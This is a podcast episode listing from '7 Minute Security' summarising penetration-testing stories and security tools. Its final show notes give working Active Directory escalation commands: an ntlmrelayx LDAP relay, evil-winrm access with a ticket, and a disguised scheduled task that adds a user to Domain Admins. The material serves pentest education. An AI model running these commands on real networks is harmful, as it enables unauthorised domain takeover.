7MS #701: What I’m Working on This Week – Part 5
7 Minute Security
Hello friends! This week I’m talking about what I’m working on this week, including: Preparing a talk called Should You Hire AI to Run Your Next Pentest for the . Playing with (I will show this live on next week’s ). The Light Pentest logo contest has a winner!
info_outline
7MS #700: Pretender
7 Minute Security
Today is episode 700 of the 7MinSec podcast! Oh my gosh. My mom didn’t think we could do it, but we did. Instead of a big blowout with huge news, giveaways and special guests, today is a pretty standard issue episode with a (nearly) 7-minute run time! The topic of today’s episode is Pretender (which you can download and read a lot more about ). The tool authors explain the motivation behind the tool: “We designed pretender with the single purpose to obtain machine-in-the-middle positions combining the techniques of and only the name resolution...
info_outline
7MS #699: Pre-Travel Security Tips
7 Minute Security
Today we discuss some pre-travel tips you can use before hopping on a plane to start a work/personal adventure. Tips include: Updating the family DR/BCP plan Lightening your purse/wallet Validating/testing backups and restores Ensuring your auto coverage is up to snuff
info_outline
7MS #698: Baby’s First ProjectDiscovery
7 Minute Security
Today I give a quick review of the cloud version of (not a sponsor!).
info_outline
7MS #697: Pwning Ninja Hacker Academy – Part 4
7 Minute Security
Today your pal and mine Joe “The Machine” Skeen pwn one of the two domains! This pwnage included: Swiping service tickets in the name of high-priv users Dumping secrets from wmorkstations Disabling AV Extracting hashes of gMSA accounts We didn’t get the second domain pwned, and so I was originally thinking about doing a part 5 in November, but changed my mind. Going forward, I’m thinking about doing longer, all-in-one hacking livestreams where we cover things like NHA from start to finish. My first thought would be to do one long livestream where...
info_outline
7MS #696: Baby's First Security Ticketing System
7 Minute Security
In today’s episode: I got a new I really like as a security ticketing system (not a sponsor) The 2-day training was great. Highly recommend. I got inspired to take this class after watching the 1-hour primer .
info_outline
7MS #695: Tales of Pentest Pwnage - Part 78
7 Minute Security
Today’s tale of pentest pwnage involves: Using to dump sensitive goodies out of SCCM Using a specific fork of to find machines I could force password resets on (warning: don’t do this in prod…read !) Don’t forget to check out our weekly Tuesday TOOLSday – live every Tuesday at 10 a.m. over at !
info_outline
7MS #694: Tales of Pentest Pwnage – Part 77
7 Minute Security
Hey friends, today I talk about how fun it was two combine two cool pentest tactics, put them in a blender, and move from local admin to mid-tier system admin access (with full control over hundreds of systems)! The will help bring this to life as well.
info_outline
7MS #693: Pwning Ninja Hacker Academy – Part 3
7 Minute Security
This week your pal and mine Joe “The Machine” Skeen kept picking away at pwning . To review where we’ve been in parts 1 and 2: We found a SQL injection on a box called SQL, got a privileged Sliver beacon on it, and dumped mimikatz info From that dump, we used the SQL box hash to do a BloodHound run, which revealed that we had excessive permissions over the Computers OU We useddacledit.py to give ourselves too much permission on the Computers OU Today we: Did an RBCD attack against the WEB box Requested a service ticket...
info_outline
7MS #692: Tales of Pentest Pwnage – Part 76
7 Minute Security
Happy Friday! Today’s another hot pile of pentest pwnage. To make it easy on myself I’m going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: . I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can’t explain is the first relay got me a shell in...
info_outlineHoly schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today’s episode:
- Got an SA account to a SQL server through Snaffler-ing
- With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here
- I relayed that Web auth with
ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv - I didn’t have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here
- Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket
- From there I checked out who had interactive logons:
Get-Process -IncludeUserName explorer | Select-Object UserName - Then I queued up a fake task to elevate me to DA:
schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f - …and ran it:
schtasks /run /tn "TotallyFineTask"